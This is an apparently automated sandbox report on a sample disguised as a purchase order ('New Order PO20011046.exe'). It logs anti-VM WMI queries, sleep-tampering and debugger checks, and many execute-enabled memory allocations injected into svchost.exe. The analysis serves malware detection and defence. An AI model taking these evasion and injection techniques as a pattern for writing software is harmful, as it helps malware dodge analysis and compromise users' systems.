Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Function Chain: systemQueried,systemQueried,threadDelayed,threadCreated,threadResumed,threadDelayed,threadDelayed,threadDelayed,threadDelayed,systemQueried,threadDelayed,threadDelayed,threadDelayed,systemQueried,threadDelayed,systemQueried,threadDelayed,threadDelayed,threadDelayed,threadDelayed,threadDelayed,threadDelayed,threadDelayed,threadDelayed,threadDelayed

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Windows\SysWOW64\svchost.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\svchost.exe TID: 6660	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 5992	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 6916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep count: 138 > 30
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -4140000s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -507620s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -776334s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -388583s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -388778s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -209349s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -89670s >= -30000s
Source: C:\Users\user\Desktop\New Order PO20011046.exe TID: 6332	Thread sleep time: -59688s >= -30000s

Source: C:\Users\user\Desktop\New Order PO20011046.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_504851E0 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,

Source: New Order PO20011046.exe, 0000000B.00000002.922266457.0000000005310000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: New Order PO20011046.exe, 0000000B.00000002.922266457.0000000005310000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: New Order PO20011046.exe, 0000000B.00000002.922266457.0000000005310000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: New Order PO20011046.exe, 0000000B.00000002.922266457.0000000005310000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Code function: 11_2_0040CDC9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Code function: 11_2_0040AD70 GetProcessHeap,HeapFree,

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_0040CDC9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_0040E5DC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_00416F2A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Code function: 11_2_004123B1 SetUnhandledExceptionFilter,

Source: C:\Users\user\Desktop\New Order PO20011046.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 50480000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 180000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 190000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1A0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1F0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 440000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 450000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 460000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 470000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 480000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 490000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 4A0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 4B0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 4C0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 4D0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 4E0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B10000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B20000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B30000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B40000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B50000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B60000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B70000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B80000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: B90000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: BA0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: BB0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: BC0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: BD0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: BE0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: BF0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C00000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C10000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C20000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C30000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C40000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C50000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C60000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C70000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C80000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: C90000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: CA0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: CB0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: CC0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: CD0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: CE0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: CF0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D00000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D10000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D20000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D30000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D40000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D50000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D60000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D70000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D80000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: D90000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: DA0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: DB0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: DC0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: DD0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: DE0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: DF0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E00000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E10000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E20000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E30000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E40000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E50000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E60000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E70000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E80000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E90000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: EA0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: EB0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: EC0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: ED0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: EE0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: EF0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F00000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F10000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F20000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F30000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F40000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F50000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F60000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F70000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F80000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: F90000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: FA0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: FB0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: FC0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: FD0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: FE0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: FF0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1000000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1010000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1020000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1030000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1040000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1050000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1060000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1070000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1080000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1090000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 10A0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 10B0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 10C0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 10D0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 10E0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 10F0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1100000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1110000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1120000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1130000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1140000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1150000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1160000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1170000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1180000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1190000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 11A0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 11B0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 11C0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 11D0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 11E0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 11F0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1200000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1210000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1220000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1230000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1240000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1250000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1260000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1270000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1280000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1290000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 12A0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 12B0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 12C0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 12D0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 12E0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 12F0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3310000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3320000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3330000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3340000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3350000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3360000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3370000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3380000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 3390000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 33A0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 33B0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 33C0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\New Order PO20011046.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 33D0000 protect: page execute and read and write
